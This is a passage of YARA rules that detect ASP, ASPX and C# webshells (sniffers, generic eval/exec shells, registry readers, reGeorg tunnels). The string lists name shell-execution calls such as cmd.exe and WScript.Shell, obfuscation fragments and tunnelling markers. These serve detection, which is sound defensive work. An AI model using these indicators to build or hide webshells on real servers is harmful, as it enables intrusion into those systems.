		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword

	condition:
		filesize < 200KB and ( ( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and any of ( $asp_string* )
}

rule WEBSHELL_ASP_Sniffer
{
	meta:
		description = "ASP webshell which can sniff local traffic"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/03/14"
		modified = "2023-07-05"
		hash = "1206c22de8d51055a5e3841b4542fb13aa0f97dd"
		hash = "60d131af1ed23810dbc78f85ee32ffd863f8f0f4"
		hash = "c3bc4ab8076ef184c526eb7f16e08d41b4cec97e"
		hash = "ed5938c04f61795834751d44a383f8ca0ceac833"
		id = "b5704c19-fce1-5210-8185-4839c1c5a344"

	strings:
		$sniff1 = "Socket(" wide ascii
		$sniff2 = ".Bind(" wide ascii
		$sniff3 = ".SetSocketOption(" wide ascii
		$sniff4 = ".IOControl(" wide ascii
		$sniff5 = "PacketCaptureWriter" fullword wide ascii
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword
		$asp_input1 = "request" fullword nocase wide ascii
		$asp_input2 = "Page_Load" fullword nocase wide ascii
		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
		$asp_xml_method1 = "GET" fullword wide ascii
		$asp_xml_method2 = "POST" fullword wide ascii
		$asp_xml_method3 = "HEAD" fullword wide ascii
		$asp_form1 = "<form " wide ascii
		$asp_form2 = "<Form " wide ascii
		$asp_form3 = "<FORM " wide ascii
		$asp_asp = "<asp:" wide ascii
		$asp_text1 = ".text" wide ascii
		$asp_text2 = ".Text" wide ascii

	condition:
		(( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and ( any of ( $asp_input* ) or ( $asp_xml_http and any of ( $asp_xml_method* ) ) or ( any of ( $asp_form* ) and any of ( $asp_text* ) and $asp_asp ) ) and filesize < 30KB and all of ( $sniff* )
}

rule WEBSHELL_ASP_Generic_Tiny
{
	meta:
		description = "Generic tiny ASP webshell which uses any eval/exec function indirectly on user input or writes a file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-07-05"
		hash = "990e3f129b8ba409a819705276f8fa845b95dad0"
		hash = "52ce724580e533da983856c4ebe634336f5fd13a"
		hash = "0864f040a37c3e1cef0213df273870ed6a61e4bc"
		hash = "b184dc97b19485f734e3057e67007a16d47b2a62"
		id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"

	strings:
		$fp1 = "net.rim.application.ipproxyservice.AdminCommand.execute"
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword
		$asp_input1 = "request" fullword nocase wide ascii
		$asp_input2 = "Page_Load" fullword nocase wide ascii
		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
		$asp_xml_method1 = "GET" fullword wide ascii
		$asp_xml_method2 = "POST" fullword wide ascii
		$asp_xml_method3 = "HEAD" fullword wide ascii
		$asp_form1 = "<form " wide ascii
		$asp_form2 = "<Form " wide ascii
		$asp_form3 = "<FORM " wide ascii
		$asp_asp = "<asp:" wide ascii
		$asp_text1 = ".text" wide ascii
		$asp_text2 = ".Text" wide ascii
		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
		$pack = { 50 41 43 4b 00 00 00 02 00 }
		$asp_payload0 = "eval_r" fullword nocase wide ascii
		$asp_payload1 = /\beval\s/ nocase wide ascii
		$asp_payload2 = /\beval\(/ nocase wide ascii
		$asp_payload3 = /\beval\"\"/ nocase wide ascii
		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
		$asp_multi_payload_one2 = "addcode" fullword wide ascii
		$asp_multi_payload_one3 = /\.run\b/ wide ascii
		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
		$asp_multi_payload_three2 = "Process" fullword wide ascii
		$asp_multi_payload_three3 = ".Start" wide ascii
		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
		$asp_multi_payload_five2 = ".Start" nocase wide ascii
		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
		$asp_always_write1 = /\.write/ nocase wide ascii
		$asp_always_write2 = /\.swrite/ nocase wide ascii
		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
		$asp_cr_write1 = "CreateObject(" nocase wide ascii
		$asp_cr_write2 = "CreateObject (" nocase wide ascii
		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
		$asp_streamwriter2 = "filestream" fullword nocase wide ascii

	condition:
		(( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and ( any of ( $asp_input* ) or ( $asp_xml_http and any of ( $asp_xml_method* ) ) or ( any of ( $asp_form* ) and any of ( $asp_text* ) and $asp_asp ) ) and not 1 of ( $fp* ) and not ( uint16( 0 ) == 0x5a4d or $dex at 0 or $pack at 0 or uint16( 0 ) == 0x4b50 ) and ( filesize < 700 and ( ( any of ( $asp_payload* ) or all of ( $asp_multi_payload_one* ) or all of ( $asp_multi_payload_two* ) or all of ( $asp_multi_payload_three* ) or all of ( $asp_multi_payload_four* ) or all of ( $asp_multi_payload_five* ) ) or ( any of ( $asp_always_write* ) and ( any of ( $asp_write_way_one* ) and any of ( $asp_cr_write* ) ) or ( any of ( $asp_streamwriter* ) ) ) ) )
}

rule WEBSHELL_ASP_Generic : FILE
{
	meta:
		description = "Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021-03-07"
		modified = "2023-07-05"
		score = 60
		hash = "a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75"
		hash = "4cf6fbad0411b7d33e38075f5e00d4c8ae9ce2f6f53967729974d004a183b25c"
		hash = "a91320483df0178eb3cafea830c1bd94585fc896"
		hash = "f3398832f697e3db91c3da71a8e775ebf66c7e73"
		id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"

	strings:
		$asp_much_sus7 = "Web Shell" nocase
		$asp_much_sus8 = "WebShell" nocase
		$asp_much_sus3 = "hidded shell"
		$asp_much_sus4 = "WScript.Shell.1" nocase
		$asp_much_sus5 = "AspExec"
		$asp_much_sus14 = "\\pcAnywhere\\" nocase
		$asp_much_sus15 = "antivirus" nocase
		$asp_much_sus16 = "McAfee" nocase
		$asp_much_sus17 = "nishang"
		$asp_much_sus18 = "\"unsafe" fullword wide ascii
		$asp_much_sus19 = "'unsafe" fullword wide ascii
		$asp_much_sus28 = "exploit" fullword wide ascii
		$asp_much_sus30 = "TVqQAAMAAA" wide ascii
		$asp_much_sus31 = "HACKED" fullword wide ascii
		$asp_much_sus32 = "hacked" fullword wide ascii
		$asp_much_sus33 = "hacker" wide ascii
		$asp_much_sus34 = "grayhat" nocase wide ascii
		$asp_much_sus35 = "Microsoft FrontPage" wide ascii
		$asp_much_sus36 = "Rootkit" wide ascii
		$asp_much_sus37 = "rootkit" wide ascii
		$asp_much_sus38 = "/*-/*-*/" wide ascii
		$asp_much_sus39 = "u\"+\"n\"+\"s" wide ascii
		$asp_much_sus40 = "\"e\"+\"v" wide ascii
		$asp_much_sus41 = "a\"+\"l\"" wide ascii
		$asp_much_sus42 = "\"+\"(\"+\"" wide ascii
		$asp_much_sus43 = "q\"+\"u\"" wide ascii
		$asp_much_sus44 = "\"u\"+\"e" wide ascii
		$asp_much_sus45 = "/*//*/" wide ascii
		$asp_much_sus46 = "(\"/*/\"" wide ascii
		$asp_much_sus47 = "eval(eval(" wide ascii
		$asp_much_sus48 = "Shell.Users" wide ascii
		$asp_much_sus49 = "PasswordType=Regular" wide ascii
		$asp_much_sus50 = "-Expire=0" wide ascii
		$asp_much_sus51 = "sh\"&\"el" wide ascii
		$asp_gen_sus1 = /:\s{0,20}eval}/ nocase wide ascii
		$asp_gen_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
		$asp_gen_sus6 = "self.delete"
		$asp_gen_sus9 = "\"cmd /c" nocase
		$asp_gen_sus10 = "\"cmd\"" nocase
		$asp_gen_sus11 = "\"cmd.exe" nocase
		$asp_gen_sus12 = "%comspec%" wide ascii
		$asp_gen_sus13 = "%COMSPEC%" wide ascii
		$asp_gen_sus18 = "Hklm.GetValueNames();" nocase
		$asp_gen_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
		$asp_gen_sus21 = "\"upload\"" wide ascii
		$asp_gen_sus22 = "\"Upload\"" wide ascii
		$asp_gen_sus25 = "shell_" wide ascii
		$asp_gen_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
		$asp_gen_sus30 = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
		$asp_gen_sus31 = "serv-u" wide ascii
		$asp_gen_sus32 = "Serv-u" wide ascii
		$asp_gen_sus33 = "Army" fullword wide ascii
		$asp_slightly_sus1 = "<pre>" wide ascii
		$asp_slightly_sus2 = "<PRE>" wide ascii
		$asp_gen_obf1 = "\"+\"" wide ascii
		$fp1 = "DataBinder.Eval"
		$fp2 = "B2BTools"
		$fp3 = "<b>Failed to execute cache update. See the log file for more information" ascii
		$fp4 = "Microsoft. All rights reserved."
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword
		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
		$pack = { 50 41 43 4b 00 00 00 02 00 }
		$asp_input1 = "request" fullword nocase wide ascii
		$asp_input2 = "Page_Load" fullword nocase wide ascii
		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
		$asp_xml_method1 = "GET" fullword wide ascii
		$asp_xml_method2 = "POST" fullword wide ascii
		$asp_xml_method3 = "HEAD" fullword wide ascii
		$asp_form1 = "<form " wide ascii
		$asp_form2 = "<Form " wide ascii
		$asp_form3 = "<FORM " wide ascii
		$asp_asp = "<asp:" wide ascii
		$asp_text1 = ".text" wide ascii
		$asp_text2 = ".Text" wide ascii
		$asp_payload0 = "eval_r" fullword nocase wide ascii
		$asp_payload1 = /\beval\s/ nocase wide ascii
		$asp_payload2 = /\beval\(/ nocase wide ascii
		$asp_payload3 = /\beval\"\"/ nocase wide ascii
		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
		$asp_multi_payload_one2 = "addcode" fullword wide ascii
		$asp_multi_payload_one3 = /\.run\b/ wide ascii
		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
		$asp_multi_payload_three2 = "Process" fullword wide ascii
		$asp_multi_payload_three3 = "Start" fullword wide ascii
		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
		$asp_multi_payload_five2 = ".Start" nocase wide ascii
		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
		$asp_always_write1 = /\.write/ nocase wide ascii
		$asp_always_write2 = /\.swrite/ nocase wide ascii
		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
		$asp_cr_write1 = "CreateObject(" nocase wide ascii
		$asp_cr_write2 = "CreateObject (" nocase wide ascii
		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
		$tagasp_capa_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_capa_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_capa_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_capa_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_capa_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii

	condition:
		(( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and not ( uint16( 0 ) == 0x5a4d or $dex at 0 or $pack at 0 or uint16( 0 ) == 0x4b50 ) and ( any of ( $asp_input* ) or ( $asp_xml_http and any of ( $asp_xml_method* ) ) or ( any of ( $asp_form* ) and any of ( $asp_text* ) and $asp_asp ) ) and ( any of ( $asp_payload* ) or all of ( $asp_multi_payload_one* ) or all of ( $asp_multi_payload_two* ) or all of ( $asp_multi_payload_three* ) or all of ( $asp_multi_payload_four* ) or all of ( $asp_multi_payload_five* ) ) and not any of ( $fp* ) and ( ( filesize < 3KB and ( 1 of ( $asp_slightly_sus* ) ) ) or ( filesize < 25KB and ( 1 of ( $asp_much_sus* ) or 1 of ( $asp_gen_sus* ) or ( #asp_gen_obf1 > 2 ) ) ) or ( filesize < 50KB and ( 1 of ( $asp_much_sus* ) or 3 of ( $asp_gen_sus* ) or ( #asp_gen_obf1 > 6 ) ) ) or ( filesize < 150KB and ( 1 of ( $asp_much_sus* ) or 4 of ( $asp_gen_sus* ) or ( #asp_gen_obf1 > 6 ) or ( ( any of ( $asp_always_write* ) and ( any of ( $asp_write_way_one* ) and any of ( $asp_cr_write* ) ) or ( any of ( $asp_streamwriter* ) ) ) and ( 1 of ( $asp_much_sus* ) or 2 of ( $asp_gen_sus* ) or ( #asp_gen_obf1 > 3 ) ) ) ) ) or ( filesize < 100KB and ( any of ( $tagasp_capa_classid* ) ) ) )
}

rule WEBSHELL_ASP_Generic_Registry_Reader
{
	meta:
		description = "Generic ASP webshell which reads the registry (might look for passwords, license keys, database settings, general recon, ..."
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021/03/14"
		modified = "2023-07-05"
		score = 50
		hash = "4d53416398a89aef3a39f63338a7c1bf2d3fcda4"
		hash = "f85cf490d7eb4484b415bea08b7e24742704bdda"
		hash = "898ebfa1757dcbbecb2afcdab1560d72ae6940de"
		id = "02d6f95f-1801-5fb0-8ab8-92176cf2fdd7"

	strings:
		$asp_reg2 = "LocalMachine" fullword wide ascii
		$asp_reg3 = "ClassesRoot" fullword wide ascii
		$asp_reg4 = "CurrentUser" fullword wide ascii
		$asp_reg5 = "Users" fullword wide ascii
		$asp_reg6 = "CurrentConfig" fullword wide ascii
		$asp_reg7 = "Microsoft.Win32" fullword wide ascii
		$asp_reg8 = "OpenSubKey" fullword wide ascii
		$sus1 = "shell" fullword nocase wide ascii
		$sus2 = "cmd.exe" fullword wide ascii
		$sus3 = "<form " wide ascii
		$sus4 = "<table " wide ascii
		$sus5 = "System.Security.SecurityException" wide ascii
		$fp1 = "Avira Operations GmbH" wide
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword
		$asp_input1 = "request" fullword nocase wide ascii
		$asp_input2 = "Page_Load" fullword nocase wide ascii
		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
		$asp_xml_method1 = "GET" fullword wide ascii
		$asp_xml_method2 = "POST" fullword wide ascii
		$asp_xml_method3 = "HEAD" fullword wide ascii
		$asp_form1 = "<form " wide ascii
		$asp_form2 = "<Form " wide ascii
		$asp_form3 = "<FORM " wide ascii
		$asp_asp = "<asp:" wide ascii
		$asp_text1 = ".text" wide ascii
		$asp_text2 = ".Text" wide ascii

	condition:
		(( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and all of ( $asp_reg* ) and any of ( $sus* ) and not any of ( $fp* ) and ( filesize < 10KB or ( filesize < 150KB and ( any of ( $asp_input* ) or ( $asp_xml_http and any of ( $asp_xml_method* ) ) or ( any of ( $asp_form* ) and any of ( $asp_text* ) and $asp_asp ) ) ) )
}

rule WEBSHELL_ASPX_Regeorg_CSHARP
{
	meta:
		description = "Webshell regeorg aspx c# version"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		reference = "https://github.com/sensepost/reGeorg"
		hash = "c1f43b7cf46ba12cfc1357b17e4f5af408740af7ae70572c9cf988ac50260ce1"
		author = "Arnim Rupp (https://github.com/ruppde)"
		score = 75
		date = "2021/01/11"
		modified = "2023-07-05"
		hash = "479c1e1f1c263abe339de8be99806c733da4e8c1"
		hash = "38a1f1fc4e30c0b4ad6e7f0e1df5a92a7d05020b"
		hash = "e54f1a3eab740201feda235835fc0aa2e0c44ba9"
		hash = "aea0999c6e5952ec04bf9ee717469250cddf8a6f"
		id = "0a53d368-5f1b-55b7-b08f-36b0f8c5612f"

	strings:
		$input_sa1 = "Request.QueryString.Get" fullword nocase wide ascii
		$input_sa2 = "Request.Headers.Get" fullword nocase wide ascii
		$sa1 = "AddressFamily.InterNetwork" fullword nocase wide ascii
		$sa2 = "Response.AddHeader" fullword nocase wide ascii
		$sa3 = "Request.InputStream.Read" nocase wide ascii
		$sa4 = "Response.BinaryWrite" nocase wide ascii
		$sa5 = "Socket" nocase wide ascii
		$georg = "Response.Write(\"Georg says, 'All seems fine'\")"
		$tagasp_short1 = /<%[^"]/ wide ascii
		$tagasp_short2 = "%>" wide ascii
		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
		$tagasp_long10 = "<%@ " wide ascii
		$tagasp_long11 = /<% \w/ nocase wide ascii
		$tagasp_long12 = "<%ex" nocase wide ascii
		$tagasp_long13 = "<%ev" nocase wide ascii
		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
		$php1 = "<?php"
		$php2 = "<?="
		$jsp1 = "=\"java." wide ascii
		$jsp2 = "=\"javax." wide ascii
		$jsp3 = "java.lang." wide ascii
		$jsp4 = "public" fullword wide ascii
		$jsp5 = "throws" fullword wide ascii
		$jsp6 = "getValue" fullword wide ascii
		$jsp7 = "getBytes" fullword wide ascii
		$perl1 = "PerlScript" fullword

	condition:
		filesize < 300KB and ( ( any of ( $tagasp_long* ) or any of ( $tagasp_classid* ) or ( $tagasp_short1 and $tagasp_short2 in ( filesize - 100 .. filesize ) ) or ( $tagasp_short2 and ( $tagasp_short1 in ( 0 .. 1000 ) or $tagasp_short1 in ( filesize - 1000 .. filesize ) ) ) ) and not ( ( any of ( $perl* ) or $php1 at 0 or $php2 at 0 ) or ( ( #jsp1 + #jsp2 + #jsp3 ) > 0 and ( #jsp4 + #jsp5 + #jsp6 + #jsp7 ) > 0 ) ) ) and ( $georg or ( all of ( $sa* ) and any of ( $input_sa* ) ) )
}

rule WEBSHELL_CSHARP_Generic
{
	meta:
		description = "Webshell in c#"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		hash = "b6721683aadc4b4eba4f081f2bc6bc57adfc0e378f6d80e2bfa0b1e3e57c85c7"
		date = "2021/01/11"
		modified = "2023-07-05"
		hash = "4b365fc9ddc8b247a12f4648cd5c91ee65e33fae"
		hash = "019eb61a6b5046502808fb5ab2925be65c0539b4"
		hash = "620ee444517df8e28f95e4046cd7509ac86cd514"
		hash = "a91320483df0178eb3cafea830c1bd94585fc896"
		id = "6d38a6b0-b1d2-51b0-9239-319f1fea7cae"

	strings:
		$input_http = "Request." nocase wide ascii
		$input_form1 = "<asp:" nocase wide ascii
